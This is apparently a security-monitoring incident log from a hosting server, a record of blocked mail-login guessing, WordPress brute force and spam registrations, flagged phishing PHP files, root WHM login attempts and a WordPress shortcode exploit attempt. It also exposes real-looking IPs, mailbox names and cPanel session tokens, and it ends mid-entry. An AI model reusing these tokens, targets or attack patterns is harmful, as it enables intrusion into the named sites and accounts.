# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.155.116.155
country_id: 6252001
description:
Jun  8 08:50:34 ns5 auth[516690]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.155.116.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.38.211.147
country_id: 1168579
domain: mesyscom.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.mesyscom.com||ServerName:mesyscom.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7ab3267845666b1f04a1b1e4b34c9439c400935d||Title:tkngdllajg3dj9||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.4.65.37
country_id: 1814991
description:
Jun  8 08:50:35 ns5 auth[516690]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.4.65.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 08:51:16 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:52334: 535 Incorrect authentication data (set_id=treasurer)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.38.211.147
country_id: 1168579
domain: mesyscom.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.mesyscom.com||ServerName:mesyscom.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:75552dafac857b8e63a56b4839430bd58e3c6f3b||Title:ehtkxix2ge6ytzgeh1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 08:51:14 ns5 auth[516690]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.103.253.188
country_id: 1820814
description:
Jun  8 08:51:40 ns5 auth[516690]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.103.253.188 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.38.211.147
country_id: 1168579
domain: mesyscom.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.mesyscom.com||ServerName:mesyscom.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1427e07d1b70597241b5cf846f0dc497f01e1348||Title:s04h02ctt56utv1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.38.211.147
country_id: 1168579
domain: mesyscom.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.mesyscom.com||ServerName:mesyscom.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fd1fbebb7300c7222e5209c8174d226342ad099e||Title:n11ety8c5fsothtpl6||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.192
country_id: 1880251
description:
47.128.96.192 - - [08/Jun/2026:08:53:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923994&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finhumation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780908825 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/inhumation/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.192


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 2.26.12.12
country_id: 2921044
description:
2.26.12.12 - - [08/Jun/2026:08:53:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181930&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fgerry-taama-net%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780908826 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/gerry-taama-net/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:2.26.12.12


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:08-52.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Obtain Your Pointing Sign Extra eropolik.blogspot.it ZM||Email:6442208562german@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.38.211.147
country_id: 1168579
domain: mesyscom.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.mesyscom.com||ServerName:mesyscom.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:11157bb376f15ebe941550d6b93d7bb5228d7b41||Title:727zi405srortws||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [08/Jun/2026:08:54:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986134&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftogo-vs-namibie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780908843 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/togo-vs-namibie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.38.211.147
country_id: 1168579
domain: mesyscom.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.mesyscom.com||ServerName:mesyscom.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:396e6f9467763ab534191f04eb98ffbfb4f777b3||Title:e0tggdynhz52iplne||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.158
country_id: 1880251
description:
47.128.96.158 - - [08/Jun/2026:08:55:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7367067&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-9-choses-a-savoir-avant-dv-lottery%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780908901 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-9-choses-a-savoir-avant-dv-lottery/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.158


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.192
country_id: 1880251
description:
47.128.96.192 - - [08/Jun/2026:08:55:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934184&pdata=https%253A%252F%252Fmail.otf-boutique.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780908921 HTTP/2.0" 302 0 mail.otf-boutique.free.netmaster.tg "https://mail.otf-boutique.free.netmaster.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.192


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.38.211.147
country_id: 1168579
domain: mesyscom.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.mesyscom.com||ServerName:mesyscom.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:41aee09055b57298881cdc9c5abe3246a47a1c46||Title:sbefht2uixow44kspz||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.60.135
country_id: 1880251
domain: haplucia-togo.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.163.91
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:09-00.209.50.163.91||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.4.7.205
country_id: 953987
description:
2026-06-08 09:00:15 dovecot_login authenticator failed for H=(localhost) [105.4.7.205]:10000: 535 Incorrect authentication data (set_id=netflix@emt.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.242.130.224
country_id: 6252001
domain: launetogo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.250.50.242
country_id: 1269750
description:
2026-06-08 09:00:46 dovecot_login authenticator failed for H=(localhost) [45.250.50.242]:49834: 535 Incorrect authentication data (set_id=netflix)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.53
country_id: 6252001
description:
205.169.39.53 - - [08/Jun/2026:09:00:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117208&pdata=http%253A%252F%252Fjlkjum.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780909250 HTTP/1.1" 302 0 jlkjum.mediatopnews.tg "http://jlkjum.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.53


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.13
country_id: 6252001
description:
205.169.39.13 - - [08/Jun/2026:09:02:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211248&pdata=http%253A%252F%252Ftxohul.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780909341 HTTP/1.1" 302 0 txohul.mediatopnews.tg "http://txohul.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.13


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 09:03:17 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:64835: 535 Incorrect authentication data (set_id=treasurer)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL track
abuser: 104.28.225.120
country_id: 2921044
domain: letabloid.tg
description:
IM360 WAF: WordPress Bruteforce RBL track||Name:elpidio||WPU:elpidio||User:pnlpzmfv||Script:/home/pnlpzmfv/public_html/wp-login.php||RSV:8.15||T:APACHE||MV:/wp-login.php||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [08/Jun/2026:09:05:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881757&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmanioc%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780909552 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/manioc/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 80.248.70.76
country_id: 2363686
description:
[2026-06-08 09:06:21 +0000] info [cpaneld] 80.248.70.76 NEW cfpjusti:eTneuwXZjUVQuFLt address=80.248.70.76,app=cpaneld,creator=cfpjusti,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - simtaya@cfpj.tg [06/08/2026:09:07:01 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: simtaya@cfpj.tg


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.90.244
country_id: 2921044
description:
[2026-06-08 09:07:22 +0000] info [cpaneld] 217.181.90.244 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.143
country_id: 3017382
domain: test.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/hphhdcxi/public_html/.038116113450207.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.56
country_id: 3017382
description:
[2026-06-08 09:11:24 +0000] info [cpaneld] 5.231.64.56 NEW mipbtgnb:P4zmktN0BOIlsZvk address=5.231.64.56,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.68
country_id: 6252001
description:
[2026-06-08 09:11:45 +0000] info [cpaneld] 134.195.82.68 NEW expirefreenetmas:R2DxFUS7vm0M0xrf address=134.195.82.68,app=cpaneld,creator=expirefreenetmas,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.175.229.201
country_id: 2921044
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.509492235246556.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.100
country_id: 3017382
description:
[2026-06-08 09:11:51 +0000] info [cpaneld] 5.231.64.100 NEW ohuuvcqw:SQtg9ZAjNlNzgFnZ address=5.231.64.100,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.114
country_id: 2635167
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.042128485774058.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.143
country_id: 3017382
domain: cafeit.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cafeitadm/public_html/.612652305005326.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.29
country_id: 6252001
description:
205.169.39.29 - - [08/Jun/2026:09:12:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10329492&pdata=https%253A%252F%252Fcrrhuemoa.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780909940 HTTP/2.0" 302 0 crrhuemoa.org "https://crrhuemoa.org/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"205.169.39.29" CAPTCHA:"0" PEER:162.158.175.211


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.19.151
country_id: 2363686
description:
[2026-06-08 09:14:22 +0000] info [webmaild] 196.171.19.151 - cat@ca-togo.org "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.94
country_id: 1512440
description:
2026-06-08 09:14:54 H=([213.230.87.94]) [213.230.87.94]:53050 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Receive Your Hefty Cash Gift sepoladi.blogspot.be m0||Email:sofhiahasigan25@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:09-17.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 88.151.179.2
country_id: 1522867
description:
2026-06-08 09:19:17 H=([88.151.179.2]) [88.151.179.2]:55736 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 109.248.131.217
country_id: 1522867
description:
2026-06-08 09:20:54 H=([109.248.131.217]) [109.248.131.217]:2008 F=<John@4452.com> rejected RCPT <dba.moyenmono@ceni.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 09:24:15 +0000] info [webmaild] 160.242.195.10 - mboroze@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.243.10.244
country_id: 2017370
description:
2026-06-08 09:24:27 H=([94.243.10.244]) [94.243.10.244]:4332 F=<John@4452.com> rejected RCPT <alfred.aguim@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.71.1.195
country_id: 2017370
description:
2026-06-08 09:23:55 dovecot_login authenticator failed for H=([178.71.1.195]) [178.71.1.195]:38017: 535 Incorrect authentication data (set_id=webmaster@togosem.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.68.118.18
country_id: 2017370
description:
[2026-06-08 09:27:49 +0000] info [whostmgrd] 109.68.118.18 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 09:28:08 +0000] info [webmaild] 160.242.195.10 - mboroze@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.75
country_id: 690791
description:
2026-06-08 09:30:45 H=([77.83.39.75]) [77.83.39.75]:56934 F=<sales1@trustonespc.com> temporarily rejected RCPT <b.blaodekissi@ese2i.tg>: Could not complete sender verify


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [08/Jun/2026:09:33:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053060&pdata=http%253A%252F%252Fxqr2qh.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780911199 HTTP/1.1" 302 0 xqr2qh.mediatopnews.tg "http://xqr2qh.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 2.26.12.14
country_id: 2921044
description:
2.26.12.14 - - [08/Jun/2026:09:35:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014425&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fgerry-taama-net%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780911315 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/gerry-taama-net/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:2.26.12.14


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:35:28 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:13828: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:36:34 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:13832: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.215.98.115
country_id: 1512440
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/49.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:38:11 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:6656: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:38:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:4993: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.42
country_id: 2635167
description:
[2026-06-08 09:39:45 +0000] info [cpaneld] 5.230.153.42 NEW sadis:QiA_9q2BIQYq7jPw address=5.230.153.42,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.72.44
country_id: 1512440
description:
2026-06-08 09:40:37 H=([84.54.72.44]) [84.54.72.44]:56792 F=<John@4452.com> rejected RCPT <alfred.aguim@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:39:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:5505: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.74
country_id: 2635167
description:
[2026-06-08 09:39:57 +0000] info [cpaneld] 5.230.133.74 NEW togorer:tbRjMx9UrGYrl52X address=5.230.133.74,app=cpaneld,creator=togorer,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:40:54 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:5506: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Earn Your Cash Instantly bonotdamvam.blogspot.hk Oz||Email:kim.jetta@hotmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:09-42.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 09:42:36 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:52174: 535 Incorrect authentication data (set_id=treasurer)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 09:42:34 ns5 auth[516690]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.114
country_id: 2635167
description:
[2026-06-08 09:42:36 +0000] info [cpaneld] 5.230.153.114 NEW sotragonet:83iEEiSIjqSIQbI8 address=5.230.153.114,app=cpaneld,creator=sotragonet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:41:54 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:5504: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 89.185.27.143
country_id: 1819730
description:
89.185.27.143 - - [08/Jun/2026:09:42:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6342762&pdata=https%253A%252F%252Fhaplucia-togo.tg%252Fwp-admin%252Fcss%252Fcolors%252Fblue%252Fclasa99.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780911724 HTTP/2.0" 302 0 haplucia-togo.tg "https://www.bing.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:89.185.27.143


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.38.189.186
country_id: 2635167
description:
2026-06-08 09:43:18 dovecot_plain authenticator failed for H=(9a2mowcbcpgqnn82819dfkext) [212.38.189.186]:37554: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.253
country_id: 3469034
description:
Jun  8 09:43:36 ns5 auth[516690]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:42:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:17025: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:43:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:18176: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:47:38 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:17926: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 09:48:30 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:17928: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.233
country_id: 3017382
description:
[2026-06-08 09:49:08 +0000] info [cpaneld] 5.231.255.233 NEW nadngfzn:pTWW8YglvNtjPvHk address=5.231.255.233,app=cpaneld,creator=nadngfzn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.84.41.102
country_id: 2017370
description:
[2026-06-08 09:50:14 +0000] info [whostmgrd] 185.84.41.102 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350257
name: IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2
abuser: 102.64.170.217
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2||MVN:ARGS:shortcode||MV:[embed]https://youtu.be/WZZUyN0pJVI[/embed]||WPU:direct7tv||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.193
country_id: 1880251
description:
